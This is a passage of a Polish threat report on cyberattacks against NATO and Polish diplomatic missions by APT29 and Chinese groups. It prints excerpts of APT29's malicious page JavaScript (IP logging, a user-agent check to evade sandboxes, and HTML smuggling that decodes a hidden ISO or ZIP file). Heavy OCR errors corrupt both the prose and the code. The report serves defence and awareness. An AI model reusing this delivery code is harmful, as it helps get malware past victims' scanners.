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Niniejsza publikacja ma stuzyc¢ przyblizeniu tematyki zagrozen dla cyberbezpieczenstwa
placowek dyplomatycznych Rzeczypospolite] Polskiej oraz innych panstw NATO
w kontekscie ostatnich atakow hakerskich.

Po agresji Rosji na Ukraine Polska oraz reprezentujace jg instytucje coraz czescigj
padajg ofiarg cyberatakow. Odpowiedzialnos¢ za wiele z nich jest przypisywana
grupom hakerskim dziatajgcym w bliskim, czesto wrecz bezposrednim, powigzaniu
z Federacjg Rosyjska i stanowig one konsekwencje zaangazowania RP w pomoc
Ukraincom. Szczegolnie zagrozonym obszarem jest infrastruktura krytyczna, zwtaszcza
sektor transportowy, z uwagi na biegngce przez terytorium RP szlaki stuzace
przekazywaniu miedzynarodowego wsparcia dla Ukrainy.

Grupy hakerskie realizujgce cyberataki majg rozne cele, w tym wykradanie wrazliwych
informacji, zaktocanie dostepu do ustug oraz szerzenie dezinformacji. Dziatania te
negatywnie wptywajg na interesy osob i instytucji nimi dotknigtych. Ich celem sa
zarowno instytucje rzagdowe, jak i przedsiebiorstwa, organizacje pozarzgdowe oraz
pojedyncze osoby.

Warto mie¢ swiadomosc, jakie sg sposoby postepowania tego typu grup dziatajgcych
na roznych kierunkach, dlatego tez w ninigjszej publikacji przedstawimy przyktady
atakow wymierzonych w istotne dla bezpieczenstwa panstwowego instytucje rzadowe
krajow UE i NATO, ktorymi sa placowki dyplomatyczne. Nawigzemy roéwniez do ostatnio
rozpoznanych operacji ukierunkowanych bezposrednio na przedstawicielstwa
dyplomatyczne Rzeczypospolitej Polskiej. Mamy nadzieje, ze publikacja ta dostarczy
Panstwu wartosciowych informacji na temat cyberzagrozen zwigzanych z dziatalnoscia
grup hakerskich przeciwko ww. instytucjom.

Zapraszamy do lektury!



Trwajaca cyberwojna i jej skutki dla panstw NATO

Agresja Rosji na Ukraine na petng skale rozpoczeta sie 24 lutego 2022 r. wraz
z wkroczeniem rosyjskich oddziatow wojskowych na ukrainskie terytorium. Konfrontacja
w cyberprzestrzeni trwa jednak co najmniej od 2014 r., tj. nielegalnego zajecia Krymu
oraz wschodnich terenow Ukrainy. W tym czasie powigzani z Moskwag hakerzy
zrealizowali wiele operacji wymierzonych we wszystkie obszary funkcjonowania tego
panstwa, w tym jego system energetyczny czy bankowy. Skala zniszczen
spowodowanych tymi dziataniami  wielokrotnie  szokowata miedzynarodowa
spotecznosc oraz skutecznie zaktocata zycie zwyktych Ukraincow. W 2022 r. cyberataki
stanowity rowniez zapowiedz rosyjskiej agresji, gdyz miaty na celu przygotowanie
przedpola i paraliz ukrainskiej przestrzeni informacyjnej w najwaznigjszych, pierwszych
godzinach konfliktu.

Wojna za wschodnig granicg RP niezmiennie dowodzi tego, ze cyberprzestrzen jest
ptaszczyzng strategicznej rywalizacji, wykorzystywang do realizacji interesow przez
nieprzychylne Zachodowi panstwa. Jej instrumentalizacja nastepuje w warunkach
zarowno pokoju (jako narzedzie walki hybrydowej), jak i wojny. Obserwacje trwajgcego
konfliktu wskazujg na obszary szczegolnie narazone na niebezpieczenstwo. Rosyjscy
hakerzy dgzg do niszczenia ukrainskich sieci wojskowych, cywilnych oraz rzadowych
i zaktdcania w nich przekazu, gtéwnie poprzez ataki destrukcyjne na systemy i bazy
danych. Obok tego typu dziatan operacje hakerskie stuzg Rosjanom do pozyskiwania
informacji wspierajacych wysitek wojenny (cyberszpiegostwo).

To, ze jak dotad cyberataki wymierzone w Ukraine nie doprowadzity do catkowitego
paralizu infrastruktury panstwa i sit zbrojnych, nie powinno umniejsza¢ znaczenia
ciagtej potrzeby zwiekszania bezpieczenstwa w cyberprzestrzeni. Wrecz przeciwnie — to
wiasnie miedzy innymi dzieki organizacji sit cyberdefensywy oraz miedzynarodowe;j
kooperacji w tym obszarze ukrainskie sieci IT okazaty sie odporne na agresje. Podmioty
komercyjne specjalizujgce sie w ustugach chmurowych umozliwity wyniesienie danych
poza obszar dziatan wojennych i jednoczesnie zapewnity ich redundancje
z wykorzystaniem globalnej infrastruktury. Istotne byto rowniez szybkie nabywanie
przez Ukraincow kompetencji potrzebnych do pracy z technologia chmurowa.
Przyktadem pomocy Polski w tym zakresie moze byc¢ inicjatywa IT Skills 4U jako
darmowy program szkolen i rozwoju kariery dla obywateli Ukrainy.
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ITSkills4U is a program for Ukrainians interested in
expanding their job opportunities in non-IT roles,
switching to IT or advancing their IT career.
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llustracja 1. Inicjatywa ITSkills4U’

Jednym z warunkow gwarantujacych stabilnos¢ Sojuszu Potnocnoatlantyckiego, jego
panstw cztonkowskich oraz obywateli zachodniej wspolnoty jest neutralizacja
zagrozenia ptyngcego z wrogich operacji realizowanych w cyberprzestrzeni.
Zagwarantowanie tego stanu wymaga statego monitorowania aktywnosci grup
hakerskich, poznawania ich sposobow dziatania oraz wykorzystywanych narzedzi. Jest
to proces ztozony i ciggty w swojej naturze. Agresorzy wcigz rozwijaja swoje metody
dziatalnosci rownolegle do postepu technologicznego, ktory skutkuje cyfryzacija zycia —
zarowno publicznego, jak i prywatnego — oraz zwieksza tym samym potencjalng

ptaszczyzne ataku.

Z uwagi na znaczenie niezaktoconego dostepu do zasobow teleinformatycznych
problematyka ta powinna stanowi¢ jeden z priorytetow NATO i jego panstw
cztonkowskich. Znajduje to odzwierciedlenie w licznych inicjatywach Sojuszu
dotyczacych budowania potencjatu sektora cyberbezpieczenstwa — od umiejetnosci
poszczegolnych ekspertow (programy szkoleniowe i edukacyjne), przez ich grupy
(Ewiczenia i gry wojenne) do catego bloku. Zwienczeniem tych zabiegow sg wspodlne
doktryna i strategia, w tym Cyber Defence Pledge (Zobowigzanie do Obrony
Cybernetycznej)?. Dokument zostat przyjety w lipcu 2016 r. podczas szczytu NATO
w Warszawie. Cyberprzestrzen uznano wowczas za kolejng — pigta — domene
operacyjna (obok ladu, morza, powietrza i przestrzeni kosmicznej).

1 Zrodto:https://itskills4u.com.ua/ (dostep: 31.08.2023 1)
2 Zrédto:https:/www.nato.int/cps/en/natohg/official_texts_133177.htm (dostep: 31.08.2023 1)



llustracja 2. Cwiczenia Locked Shields 20233

W czasie pokoju panstwa sojusznicze NATO skupiajg sie na odstraszaniu
i odpieraniu atakow w cyberprzestrzeni. Istnieje wiele inicjatyw wspierajacych te
dziatania takich jak chociazby ,EU Cyber Diplomacy Toolbox” czyli zestaw narzedzi do
dyplomacji dotyczacej dziatan w cyberprzestrzeni. Inicjatywa ta zostata stworzona jako
wspolna odpowiedz dyplomatyczna UE na szkodliwe dziatania w cyberprzestrzeni,
w tym liczne ataki hakerskie. Wpisuje sie to w podejscie UE do dyplomacji zwigzane]
z dziataniami w obszarze cyberbezpieczenstwa w ramach Wspolnej Polityki
Zagranicznej i Bezpieczenstwa. Dziatalnos¢ w tym zakresie przyczynia sie do
zapobiegania konfliktom, redukcji zagrozen zwigzanych z cyberbezpieczenstwem
oraz  zwiekszenia stabilnosci w  stosunkach  miedzynarodowych. Reakcja
dyplomatyczna UE na Zztosliwe dziatania w cyberprzestrzeni jest adekwatna do
zakresu, skali, czasu trwania, intensywnosci, ztozonosci, wyrafinowania i wptywu
kazdego cyberataku. Wszystkie wysitki dyplomatyczne promujg bezpieczenstwo
i stabilnos¢ w cyberprzestrzeni poprzez zaciesnienie wspotpracy miedzynarodowe;
oraz zmniejszajg ryzyko btednego postrzegania, eskalacji i konfliktow, ktére mogg

wynikac¢ z incydentow ICT".

3 Zrodto:https:/news.erree/1608955571/sweden-iceland-team-triumphs-at-locked-shields-2023-cyber-defense-exercise
(dostep: 31.08.2023 1)
4 Zrodto:https://www.cyber-diplomacy-toolbox.com/ (dostep: 31.08.2023 1)



To, ze wojna toczy sie na terytorium Ukrainy, nie oznacza, ze zachodnie systemy IT sg
bezpieczne. Wrogie Zachodowi panstwa i organizacje wcigz daza do wigzania
i rozpraszania jego potencjatu. Szkodliwe dziatania w cyberprzestrzeni wymierzone
w kraje sojusznicze obejmujg m.in. kradziez wrazliwych informacji (uzyskiwanie
niepowotanego dostepu do chronionych zasobow sieci), operacje wykorzystujgce
oprogramowanie szyfrujace (ransomware), niszczace (wiper) oraz ataki distributed
denial of service (DDoS)® . Czesto pierwszym podejmowanym dziataniem jest wysytanie
niepozornych e-maili  phishingowych wytudzajacych dane do logowania, ktore
nastepnie moga stuzy¢ do ustanowienia dostepu do infrastruktury teleinformatyczne;j.
Instytucje i rzady panstw sojuszniczych zareagowaty na te zagrozenia hybrydowe,
organizujac liczne inicjatywy majace na celu zwiekszanie odpornosci na tego typu ataki.

/ tego wzgledu mozna uznac, ze kluczem wspolnego bezpieczenstwa jest NATO.

Na zakres reakcji panstw zachodnich wptywa kwestia atrybucji. Kraje postugujace sie
narzedziami hakerskimi wykorzystuja to, ze ustalenie osob i instytucji odpowiedzialnych
za dang operacje generuje duze trudnosci. Wielokrotnie nie da sie dowiesc, ze atak
hakerski zostat zrealizowany na polecenie wtadz konkretnego panstwa. Sami winowajcy
natomiast nie majg zamiaru odpowiadac¢ za swoje czyny, dlatego tez rzady krajow
zlecajacych ataki oficjalnie odcinajg sie od nich, opierajac sie na doktrynie wypierania
odpowiedzialnosci (plausible deniability).

Pomimo tego, sledztwa teleinformatyczne potrafig okreslic pewne elementy dotyczace
atakow, np. udowodnic, jaka infrastruktura zostata wykorzystana do przeprowadzenia
operacji, jakich uzyto narzedzi, metod dziatania itp. Na podstawie uzyskanych sladow
mozna zrekonstruowac przebieg wydarzen, w tym wytropi¢ rzeczywistych napastnikow.
Ich dziatania sg prowadzone co do zasady w zorganizowany sposob oraz wykorzystujg
powtarzajgce sie cechy (TTPs — Tactics, Techniques, Procedures) pozwalajace na
taczenie ich w tzw. klastry aktywnosci. Nastepnie podmioty rzgdowe lub prywatne na
podstawie posiadane] wiedzy oraz danych przypisujg ww. zbiory cech do konkretnej
grupy, ktora z kolei moze zostac powigzana ze strukturami rzgdowymi obcego panstwa
lub potraktowana jako organizacja cyberprzestepcza. Zazwyczaj dziatania hakerow
finansowanych przez rzady skupiajg sie na realizacji strategicznych celow
mocodawcow, natomiast grupy haktywistyczne zajmuja sie osigganiem zysku lub
promowaniem swojej ideologii.

5 Atak polegajacy na zaktdceniu dostepnogei ustugi poprzez jej przeciazenie



Powyzsze ustalenia mogg wywotac reakcje geopolityczna. Nalezy bowiem zauwazyc, ze
w 2016 r. wojna w cyberprzestrzeni zostata uznana przez NATO za kolejng domene
operacyjna, a przeprowadzane ataki hybrydowe oraz cyberataki moga stanowic
podstawe do podjecia kolektywnej obrony w ramach art. 5 Traktatu
potnocnoatlantyckiego. W przypadkach czynow mniejszej wagi sojusznicy
dysponuja rowniez art. 4 Traktatu, ktory pozwala na konsultacje, ilekro¢ ktorys
z nich uwaza, ze ,integralnos¢ terytorialna, niezaleznos¢ polityczna Iub
bezpieczenstwo” sojusznika sa zagrozone.

Kraje NATO muszg sie skoncentrowa¢ na wzmacnianiu swojej cyberodpornosci
i zdolnosci obronnych. Ich dziatania obejmuja inwestowanie w cyberbezpieczenstwo,
rozwijanie mozliwosci wykrywania atakow i reagowania na nie, wzmacnianie

infrastruktury krytycznej oraz wspotprace miedzynarodowa w celu wymiany informacii
i wspolnych dziatan przeciwko cyberzagrozeniom.

Postawa Sojuszu w zakresie odstraszania i obrony opiera sie na odpowiednim
potgczeniu zdolnosci obrony nuklearnej, konwencjonalne] i przeciwrakietowe],
uzupetnionych mozliwosciami kosmicznymi i cybernetycznymi, co zostato stwierdzone
podczas szczytu na Litwie, ktory odbyt sie w lipcu 2023 r.,,Zgodzilismy sie kontynuowac
nasze prace nad operacjami wielodomenowymi, mozliwymi dzieki transformaciji
cyfrowej NATO, ktora dodatkowo zwieksza nasza przewage wojskowa i technologiczng,
wzmacniajgc zdolnos¢ Sojuszu do zdecydowanego dziatania w obszarach ladowych,

powietrznych, morskich, cyberprzestrzeni i przestrzeni kosmicznej”®

6 Zrodto:https://www.nato.int/cps/en/natohq/official_texts_217320.htm (dostep: 31.08.2023 1)



llustracja 3. Szczyt NATO w Wilnie”

Wroga cyberaktywnosc¢ rosyjskich grup APT jako rosnace
zagrozenie dla sektora rzgdowego panstw NATO

Rosja wykorzystuje operacje w cyberprzestrzeni jako narzedzie walki hybrydowej do
osiggniecia swoich celow strategicznych. Jakkolwiek powiagzani z nig hakerzy sag zdolni
do niszczenia infrastruktury, w tym krytycznej lub zaktécania jej funkcjonowania, tak ich
istotnym zadaniem jest wykradanie wrazliwych danych. Nowoczesne technologie oraz
wiasciwie nieograniczony zasieg dziatania w cyberprzestrzeni sprawiajg, ze ta forma
aktywnosci moze zastepowac tradycyjne operacje szpiegowskie. Poszukiwane sg
wszelkiego rodzaju informacje mogace wesprzec panstwo w doborze celow wiasnej
polityki (zagranicznej, wewnetrznej, wojskowej, gospodarcze]) oraz srodkéw do ich
realizacji. Wbrew pozorom nie tylko scisle tajne sieci tgcznosci rzgdowej mogag stanowic
zrodto cennych danych. Wiele przydatnych materiatow jest przetwarzanych w sposob
zdecentralizowany przez mniejsze, takze prywatne, instytucje nieposiadajace az tak
wymagajacych standardow bezpieczenstwa teleinformatycznego. Sg to w szczegolnosci
wszelkiego rodzaju podwykonawcy, uczestnicy, obserwatorzy czy opiniodawcy. Nawet
jezeli nie przetwarzajg informacji, na ktorych najbardziej zalezy napastnikowi, ich wiedza
moze stuzy¢ do rekonstrukcji pozadanych danych — a to wszystko przy mniejszym
ryzyku operacyjnym i wiekszych szansach powodzenia.

7 Zrodto:https://www.act.nato.int/article/nato-summit-vilnius-2023-day-one/ (dostep: 31.08.2023 r)



W zwigzku z trwajaca w Ukrainie wojng Rosja dgzy do pozyskiwania wszelkiego rodzaju
informacji nt. skali miedzynarodowej pomocy dla bronigcych sie Ukraincow. Szczegolnie
cenne sg dane dotyczgce wsparcia materiatowego, w tym defensywnego sprzetu
wojskowego. W proces koordynowania organizacji tego typu transportow
zaangazowany jest szereg podmiotow. Poza przywodcami panstw i rzgdami udziat
biorg w nim m.in. struktury odpowiedzialne za utrzymanie sieci telekomunikacyjnych,
infrastruktury drogowej i kolejowej, weztéw komunikacyjnych (dworce, lotniska, porty
morskie) czy wreszcie poszczegolni operatorzy floty pojazdéw ciezarowych
przewozacych towary na wschod. Wszystkie elementy tancucha dostaw moga pasc
ofiarg ataku hakerskiego, zas napastnicy — pozyskac¢ wartosciowe dane. W obliczu tego
zagrozenia podstawowym zadaniem instytucji odpowiedzialnych za bezpieczenstwo
panstwa, w tym w cyberprzestrzeni, jest ochrona kanatow logistycznych oraz
infrastruktury krytyczne.



Ataki na placowki dyplomatyczne przypisywane rosyjskim
grupom APT

W tak zarysowanym kontekscie sytuacyjnym placowki dyplomatyczne stanowia
niezwykle wazne ogniwo. Poza dostepem do wrazliwych informacji nt. polityki
zagranicznej poszczegolnych panstw, w tym kooperacji z sojusznikami, wiele z nich
bierze udziat w pozyskiwaniu srodkow pomocowych oraz koordynowaniu ich transportu
do Ukrainy. Z tego wzgledu stanowig one istotny cel atakow hakerskich. Zdobywane
dane majg wartos¢ w zasadzie wytacznie dla rzgdow innych, rywalizujgcych panstw,
stad to wtasnie powiagzane z nimi grupy sg najbardziej aktywne w tym zakresie. Skupiajg
sie one gtownie na pozyskiwaniu danych oraz infiltracji zainfekowanego srodowiska,
aby zdoby¢ mozliwie duzg ilos¢ informacji, ktére mogg okazac sie przydatne

w planowaniu kolejnych operacji i realizacji interesow.

SVR - Russian Foreign Intelligence Service

APT29 (NOBELIUM, BlueBravo, Cozer, Cozy Bear, Cozy
Duke, CoxyCar, EuroAPT, Midnight Blizzard, Office

Monkeys, RUS2, The Dukes, UNC2452)

llustracja 4. Przynaleznos¢ grupy APT29 do rosyjskich stuzb specjalnych i powigzane nazwy
— opracowanie wfasne na podstawie dostepnych danych
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Analitycy Agencji Wywiadu wspotpracujgcy z podmiotami w ramach Krajowego
Systemu Cyberbezpieczenstwa obserwujg liczne proby atakow na placowki
dyplomatyczne RP. Jedng =z najaktywnigejszych, a jednoczesnie najbardzigj

niebezpiecznych organizacji probujgcych przetamac ich zabezpieczenia jest grupa
okreslana jako APT29 (inaczej: NOBELIUM, The Dukes, Cozy Bear, BlueBravo).

llustracja 5. Kraje dotkniete atakami grupy APT29 — opracowanie wtasne na podstawie dostepnych danych

Jest ona powigzana ze Stuzbg Wywiadu Zagranicznego Federacji Rosyjskiej (zgodnie
z ustaleniami m.in. rzadow Stanow Zjednoczonych® i Wielkiej Brytanii® ). Powigzania
APT29 z rosyjskim wywiadem swiadczg o ukierunkowaniu dziatan przeciwko krajom
NATO — zgodnie z ogolnie przyjetymi praktykami Rosjan.

Operacje prowadzone przez grupe APT29 w duzej mierze rozpoczyna masowa wysytka
e-maili, ktore majg zacheci¢ pracownikow ambasady do otwarcia zatacznika lub
hipertgcza prowadzacego do podstawionej strony internetowej. W tym celu hakerzy
postuguijg sie roznorodnymi metodami, w tym spoofingiem (ukrywaniem rzeczywistych
adresow e-mailowych pod budzgcymi zaufanie nazwami). Wykorzystujg takze
uprzednio przejete skrzynki pocztowe (rowniez nalezace do przypadkowych osob
niezwigzanych z dyplomacjg). W tresci dystrybuowanych wiadomosci pojawiaja sie
natomiast watki mogace zainteresowa¢ osoby pracujagce w przedstawicielstwie
dyplomatycznym. Sa to miedzy innymi zaproszenia na rauty, prosby o umowienie
spotkania z ambasadorem lub oferty sprzedazy roznego rodzaju towarow ze znizkg dla
dyplomatow.

8 Zrodo: https://www.cisa.gov/news-events/alerts/2021/04/26/fbi-dhs-cisa/join-advisory-russian-foreign-intelligence-
service (dostep: 31.08.2023 1)

9 Zrédto: https://www.nscs.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
(dostep: 31.08.2023 1)



llustracja 6. Schemat przedstawiajacy modus operandi w ostatnich operacjach
grupy APT29 — opracowanie wiasne na podstawie dostepnych danych

ledna =z takich kampanii, ktora zostata zidentyfikowana przez analitykow
ds. cyberbezpieczenstwa, byta zwigzana z wykorzystaniem zmodyfikowanego
rzeczywistego ogtoszenia sprzedazy samochodu wystanego przez rzekomego
pracownika placowki dyplomatycznej. To, ze atakujgcy przygotowat fatszywg oferte
(ilustracja 7), tudzaco podobng do oryginalnej, moze sugerowac, ze miat on dostep do
skrzynki jednego z odbiorcow autentycznej wiadomosci.
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CAR FOR SALE IN KYIV
THE PRICE IS REDUCED!!!

BMW § (F10) 2.0 TDI, 7,500 Euros!!

Very good condition, low fuel consumption
W A PR

More high quality photos are here:_

Model BMW 5, 2.0 TDI (184 HP)

Year April 2011

Mileage 266,000 km

Engine 2.0 Diesel

Transmission  Mechanic

Colour Black, black leather interior

Package AJC, set of summer and winter tires, ABS/ESP, led lights, cruise control,

multifunction steering wheel, CD, electric seats, electric windows, engine
control, rain sensor, electrical hand brake, airbags, start-stop system.

Price 7,500 Euros
Custom NOT CLEARED
Contact

llustracja 7. Fatszywa oferta sprzedazy samochodu bazujaca na podobnej wystanej kilka dni wczesnigj
— opracowanie wtasne na podstawie dostepnych danych

W ofercie znalazt sie link prowadzacy do przejetej strony internetowej, ktora po
sprawdzeniu parametrow przegladarki wywotywata pobieranie szkodliwego pliku.
W przypadku niespetnienia warunkéw zatozonych przez atakujacego (weryfikacja
parametru User-Agent) przegladarka ofiary pobierata nieszkodliwe zdjecie samochodu.
Weryfikacja odwiedzajacego strone ma na celu zablokowanie mechanizmow
skanujgcych takich jak sandbox, pozwalajacych na automatyczne zabezpieczenie oraz
weryfikowanie plikow. Ciekawy jest rowniez mechanizm logowania adresow IP przy
uzyciu dodatkowego pliku PHP umieszczonego na serwerze — prawdopodobnie stuzy
on do rejestrowania skutecznosci kampanii oraz ewentualnych analiz pod katem
wykrywania i oznaczania w przysztosci adresacji nalezgcych do ekspertéw zajmujacych
sie cyberbezpieczenstwem (ilustracja 8.). Analogiczny mechanizm byt juz obserwowany
w przypadku poprzednich kampanii przypisywanych APT29.
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function kybf() {
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {

) xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 2, Logowanie adresu IP

try {
const response = xmlhttp.open{'GET'I window. location.origin+'/kll.php', true); I
xmlhttp.timeout = 4000;
xmlhttp.send()
req = xmlhttp.responseText;
} catch (error) {
conscle.error(error);
}

}

function judg(llllk, vIg) {
var bstr = window.atob(l1l1llk);
var 1 = bstr.length;

var by = new Uint8Array( 1 );
for (var i = 0; i < 1; i++)
{ by[i]) = {(bstr.charCodeAt(i) " (Math.floor(vfg/100)-1)); } H H
S ' 1. Weryfikacja parametrow

1

if (window.navigator.userAgent.tolowerCase().indexOf('windows nt')>-1 && window.navigator.userAgent.toLowerCase().indexOf('.net’) < D}I

ybE()
var data = judg(dggg3dtgdfwg32,7581);

var blob = new Blob([data], {type: "application/x-cd-image"}); 3. Z*ozenie oraZ pobranie pliku

var fileName = 'bmw.iso';

llustracja 8. Wyciag kodu strony internetowe]j wykorzystywanej w trakcie ataku — opracowanie wtasne

ldentyczne mechanizmy wykorzystano w kolejnej kampanii. Atakujacy dystrybuowat
e-maile zawierajgce spreparowany dokument, ktéry wygladat na wystany przez
Ministerstwo  Spraw  Zagranicznych — Turcji.  Otwarcie  linku  powodowato
przekierowywanie na strone internetowa, ktora po zweryfikowaniu parametrow
przegladarki oraz zapisaniu adresu [P rozpoczynata pobieranie szkodliwego
oprogramowania lub niegroznego pliku PDF — w zaleznosci od wynikow weryfikacji.
Sam mechanizm nie jest zaawansowany i jego obejscie nie stanowi problemu.
Atakujacy w poprzednich kampaniach stosowat bardziej zaawansowane metody, czyli
weryfikacje parametrow przegladarki w sposob niejawny — przy uzyciu odpowiednich
funkcji w pliku PHP, ktory nastepnie zwracat plik szkodliwy lub nie, w zaleznosci od
wyniku weryfikacji. W nastepnych kampaniach napastnik zdecydowat sie na
wykorzystanie techniki HTML smuggling (ilustracja 8.1 9. — oznaczenie, gdzie punkt
3. przedstawia funkcje sktadajacag docelowy plik) polegajacej na umieszczaniu plikdw
w postaci binarnej bezposrednio w kodzie strony z wykorzystaniem jezyka JavaScript.
Zabieg ten ma za zadanie obchodzi¢ skanery antywirusowe oraz inne zabezpieczenia,
tj. web proxy.
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function kybf() {
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpReguest();

) else ¢ 2. Logowanie adresu IP

xmlhttp = new ActiveXObject(“"Microsoft.XMLHTTP");
}

try {
const response = xmlhttp.cpan{'cET'I window.location.origin+'/dhé3.php', true); I
xmlhttp.timeout = 4000;
xmlhttp.send()
req = xmlhttp.responseText;
} catch (erxox) {
console.error(error);

}
}

function ccce(yyyy, vig) {
var bstr = window.atob(yyyy);
var 1 = bstr.length;

var by = new UintBArray( 1 );
for (var i = 0; i < 1; i++) 1 W k . 4
{ by[i]) = (bstr.charCodeAt(i) * (Math.floor(vig/100)-1)); } ryf
e . vverylikacja parametrow
3

if (window.navigator.userAgent.toLowerCase().index0Of( 'windows nt')>-1 && window.navigator.userigent.toLowerCase().indexOf('.net")<0) I

ybE()
ar data = cccc(f_£1,6888);

ar blob = new Blob((data], {type: "application/zip"}); 3_ zmzenie oraz pobranie pliku

ar fileName = ‘e-yazi.zip';

llustracja 9. Zawartosc pliku HTML wykorzystywanego w nastepnej kampanii — opracowanie wiasne

Z obserwacji analitykow Agencji Wywiadu wynika, ze do dystrybuowania szkodliwego
oprogramowania wykorzystywane sa przejete strony internetowe. Grupa APT29 nie
tworzy tymczasowych domen prawdopodobnie ze wzgledu na to, ze tego typu zabieg
jest tatwy do wykrycia oraz zablokowania.

Analiza przeprowadzona przez Agencje Wywiadu wykazata, ze skompromitowane
strony w wiekszosci sg utrzymywane w ramach infrastruktury jednej firmy swiadczace;
ustugi hostingowe lub powigzanych z nig spotek. W tym przypadku cechg wspolng jest
panel zarzadzania serwerami (cPanel), ktory mozna zaobserwowac¢ na kazdym
serwerze biorgcym udziat w ataku — jest on instalowany automatycznie przez firme
hostingowa na kazdym urzadzeniu. Prawidtowos¢ ta prowadzi do wniosku
sugerujgcego, ze atakujacy dysponuje narzedziem umozliwiajgcym wykorzystanie
podatnosci w ustudze cPanel pozwalajace] uzyskac uprzywilejowany dostep
do zasobow.
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| literaturaelsalvador.com | v | v | HTML |
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| simplesalsamix.com PHP->HTML

| remcolours.com

R T et —

resetlocations.com

llustracja 10. Technologie oraz ustugodawcy pojawiajacy sie w trakcie atakow — opracowanie wtasne

Nalezy rowniez zauwazyC inng ceche taczacg skompromitowane witryny. Wiekszosc
stron wykorzystywanych w atakach oparta jest na otwartozrodtowych rozwigzaniach
CMS (Content Management System) — system zarzadzania trescig WordPress. W tym
miejscu nalezy pamietac, ze oprocz bazowego kodu silnika WordPress ma bardzo
dobrze rozwinietg funkcjonalnosc instalowania réznorodnych dodatkow lub szablonow.
Analiza opublikowanych podatnosci w silniku WordPress wykazata, ze istnieje mate
prawdopodobienstwo wykorzystania jej do przejecia kontroli nad strong. W przypadku
modutow dodatkowych sytuacja wyglada zupetnie inaczej. W zwigzku z otwartoscia
rozwigzania WordPress (open-source) oraz tym, ze kazdy moze stworzy¢ dodatek, nalezy
miec na uwadze, ze ich jakosc¢ pozostaje zroznicowana. Ze wzgledu na powyzsze fakty
— w przypadku zatozenia, ze wektorem wejsciowym dla atakujacego jest WordPress —
nalezy przyjac, ze atakowane sg podatnosci w dodatkach (pluginach), a nie sam silnik
rozwigzania.



W momencie powstawania publikacji Agencja Wywiadu nie dysponowata
zadowalajgcymi dowodami, moggcymi jednoznacznie wskazac¢ wektor ataku, ktory jest
wykorzystywany do przejmowania stron internetowych stuzacych nastepnie do
dystrybucji szkodliwego oprogramowania.

Wiecej informacji na temat narzedzi oraz innych kampanii realizowanych przez grupe
APT29 mozna znalez¢ w publikacji przygotowane] przez analitykow Stuzby
Kontrvvvaadu Wo skovvego oraz CERT Polska (CSIRT NASK) pt. Kampania szpiegowska

Chinskie grupy APT zrodtem atakow wymierzonych w panstwa NATO

Drugim obok Rosji zrodtem zagrozenia dla zachodnich sieci IT sg Chiny. Pomimo
oficjalnie deklarowanej neutralnosci w zwigzku z konfliktem w Ukrainie, Pekin jest bardzo
zainteresowany ostabieniem Zachodu. Razem z Moskwa dazy on bowiem do zmiany
miedzynarodowego fadu, ktory wedtug obu stolic faworyzuje Stany Zjednoczone oraz
Europe. W narodzinach tzw. wielobiegunowego swiata Rosja i Chiny upatrujg
mozliwosci wtasnego rozwoju. Dodatkowo wielu badaczy wskazuje na to, ze
zainteresowanie Pekinu reakcjg Zachodu na rosyjskg inwazje w Ukrainie moze byc
spowodowane préba przetozenia przez Chinczykow tej sytuacji na potencjalny atak
wymierzony w Tajwan". Oprocz walki o wptywy strona chinska dgzy do zniwelowania
przewagi naukowej i technologicznej krajow zachodnich na wielu polach,
w szczegolnosci w zakresie przemystu oraz nowoczesnych technologii.

Wedtug Pekinu powyzsze priorytety mogg byc¢ zaspokajane rowniez przy uzyciu
srodkow oddziatywania w cyberprzestrzeni. Hakerzy sponsorowani przez panstwo majg
za zadanie pozyskiwanie informacji — zaréwno politycznych, jak i obejmujgcych
tajemnice przedsiebiorstw, patenty i innego rodzaju wifasnosc intelektualng lub
przemystowa. Dane te majg wesprze¢ Chiny w rywalizacji na wielu ptaszczyznach,
zwtaszcza ze Stanami Zjednoczonymi — ale rowniez z Europg — zapewniajac im
przewage polityczno-gospodarcza.

10 https://www.gov.pl/web/baza-wiedzy/kampania-szpiegowska-wiazana-z-rosyjskimi-sluzbami-specjalnymi
(dostep: 31.08.2023 1)

" Zrodto: https://www.japantimes.co.jp/news/2023/02/19/asia-pacific/ukraine-war-anniversary-taiwan-comparison/
(dostep: 31.08.2023 1)
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W publikacji wydanej przez European Union Agency For Cybersecurity (ENISA) oraz
CERT-EU w lutym 2023 r'2 umieszczono ostrzezenie o wzmozonej aktywnosci
chinskich grup hakerskich APT27, APT30, APT31, Ke3chang, Gallium oraz Mustang
Panda. Instytucje wezwaty wszystkie europejskie podmioty z sektora publicznego
i prywatnego do podijecia dziatan w celu zmniejszenia ryzyka narazenia ich na
potencjalne ataki w cyberprzestrzeni. Dziatania grup koncentrujg sie na kradziezy
wrazliwych informacji m.in. poprzez przeprowadzanie kampanii spearphishingowych,
w ktorych jest wykorzystywany motyw wojny Rosji z Ukraina.

Mustang Panda

Mustang Panda (RedDelta, BRONZE PRESIDENT,
HoneyMyte, Red Lich, TA416)

llustracja 1. Grupa Mustang Panda i powigzane nazwy — opracowanie wfasne na podstawie dostepnych danych

Mustang Panda (inaczej: EarthPreta, BronzePresident, CamaroDragon) to grupa
hakerska, ktéra dziata od co najmniej 2017 r. Zajmuje sie przede wszystkim kradzieza
danych i szpiegowaniem panstw oraz firm z sektora prywatnego. Stosuje
zaawansowane narzedzia i techniki takie jak spearphishing Iub wykorzystuje
podatnosci w oprogramowaniu. Jej cele obejmujg gtownie sektory energetyczny,
przemystowy i zwigzany z obronnoscig. Grupa jest uwazana za jedng z bardzigj
aktywnych i zaawansowanych technicznie w Chinach.

12 7rodto:https://www.enisa.europa.eu/publications/sustained-activity-by-specific-threat-actors-joint-publication
(dostep: 31.08.2023 1)



llustracja 12. Kraje dotkniete atakami grupy APT Mustang Panda — opracowanie witasne na podstawie dostepnych danych

W styczniu 2023 r. specjalisci z firmy ESET wykryli nowy backdoor, ktérym
prawdopodobnie postuguje sie grupa Mustang Panda, i nazwali go MQsT Tang. Pozwala
on na zdalne wykonywanie polecen na urzgdzeniu oraz wykradanie wprowadzanych
danych (keylogger). Jest wykorzystywany w ramach kampanii spearphishingowej
wymierzonej w podmioty z Europy, Azji (w tym z Tajwanu) i Australii. Znamienne jest to,
ze w przypadku Tajwanu wrogie dziatania zostaty skierowane przeciwko jednej
z instytucji rzadowych, co pozwala sgdzi¢, ze — biorgc pod uwage napiete stosunki
